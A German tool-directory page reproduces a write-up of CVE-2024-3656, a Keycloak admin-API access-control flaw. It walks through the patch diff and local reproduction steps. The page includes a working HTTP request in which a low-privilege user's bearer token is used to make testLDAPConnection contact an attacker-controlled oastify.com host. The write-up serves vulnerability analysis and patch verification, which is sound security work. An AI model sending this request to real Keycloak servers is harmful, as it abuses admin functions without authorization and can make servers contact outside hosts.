Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-3656 — Die Keycloak admin API ermöglicht es Benutzern mit niedrigen Berechtigungen, administrative Funktionen zu nutzen. | Kitploit
Tools/GitHubGitHub/h4x0r-dz/cve-2024-3656
Authentifizierung & AutorisierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsFehlkonfiguration
GitHubh4x0r-dz/cve-2024-3656

CVE-2024-3656

Die Keycloak admin API ermöglicht es Benutzern mit niedrigen Berechtigungen, administrative Funktionen zu nutzen.

Repository anzeigen
31102vor 1 JahrVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Keycloak < 24.0.5 ist anfällig für eine Broken Access Control Schwachstelle, bei der der Angreifer einen beliebigen authentifizierten Benutzer nutzen kann, um einige API-Aktionen durchzuführen, wie zum Beispiel:

Testen von LDAP-Verbindungen über den testLDAPConnection-Endpunkt. Abrufen von nicht verwalteten Attributen eines beliebigen Benutzers über den getUnmanagedAttributes-Endpunkt. Zugriff auf Client-Registrierungsrichtlinien-Anbieter über den getProviders-Endpunkt.

Ich fand nur testLDAPConnection interessant, bei dem ein Angreifer mit LDAP auf einen externen Host interagieren kann.

Schritte zur Reproduktion

Laden Sie zuerst die anfällige Version von KeyCloak 24.0.4 von hier herunter: https://www.keycloak.org/archive/downloads-24.0.4.html

Entpacken Sie dann die Zip-Datei und führen Sie den Befehl bin/kc.sh start-dev aus

image

Jetzt läuft es auf localhost:8080. Erstellen Sie ein neues Administratorkonto und melden Sie sich dann mit diesem Administratorkonto an.

Erstellen Sie nun einen neuen Realm für reguläre Benutzer und erstellen Sie dann einen Benutzer mit Benutzerrechten in diesem Realm

image

Basierend auf dem Commit, der die Schwachstelle behebt, "Missing auth checks in some admin endpoints" https://github.com/keycloak/keycloak/commit/d9f0c84b797525eac55914db5f81a8133ef5f9b1

stellen wir fest, dass 3 Dateien geändert wurden:

TestLdapConnectionResource.java UserResource.java ClientRegistrationPolicyResource.java

Analyse der Codeänderung in TestLdapConnectionResource.java:

(Verwundbarer Code):

root@kitploit:~
public Response testLDAPConnection(TestLdapConnectionRepresentation config) {
    try {
        LDAPServerCapabilitiesManager.testLDAP(config, session, realm);
        return Response.noContent().build();
    }
    // Exception handling...
}

Es gab keine Berechtigungsprüfung. Jeder authentifizierte Benutzer konnte testLDAPConnection aufrufen und LDAP-Tests durchführen, was eine administrative Aktion ist.

(Gepatchter Code):

root@kitploit:~
public Response testLDAPConnection(TestLdapConnectionRepresentation config) {
    auth.realm().requireManageRealm(); // Added permission check
    try {
        LDAPServerCapabilitiesManager.testLDAP(config, session, realm);
        return Response.noContent().build();
    }
    // Exception handling...
}

image

Die Zeile auth.realm().requireManageRealm(); wurde hinzugefügt, um zu prüfen, ob der Benutzer Admin-Berechtigungen (manage_realm-Rolle) im Realm hat.

Das bedeutet, dass jeder Benutzer mit einem beliebigen Realm eine Anfrage an /admin/realms/users/testLDAPConnection senden kann.

Öffnen Sie nun in einem neuen Browser den Link http://localhost:8080/realms/users/protocol/openid-connect/auth?client_id=account-console

Melden Sie sich mit dem von Ihnen erstellten Benutzer an und extrahieren Sie dann authorization: Bearer <>

Senden Sie eine HTTP-Anfrage an den verwundbaren Endpunkt:

root@kitploit:~
POST /admin/realms/users/testLDAPConnection HTTP/1.1
Host: dzdz.me:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
authorization: Bearer <xxxx>
content-type: application/json
Content-Length: 265
Origin: http://dzdz.me:8080
Connection: close


{

    "action": "testConnection",
    "connectionUrl": "ldap://xxxxxxxxxxxxxxxxxxxxxxx.oastify.com",
    "bindDn": "cn=admin,dc=example,dc=com",
    "bindCredential": "password",
    "useTruststoreSpi": "ldapsOnly",
    "connectionTimeout": "5000"
}

Im Parameter connectionUrl setzen Sie Ihren externen Host ein und senden Sie die Anfrage.

dann erhalten Sie die DNS-Interaktion

image

Sie können dasselbe mit getUnmanagedAttributes und getProviders anwenden.

Referenz: https://github.com/keycloak/keycloak/commit/d9f0c84b797525eac55914db5f81a8133ef5f9b1 https://github.com/advisories/GHSA-2cww-fgmg-4jqc

Tool herunterladen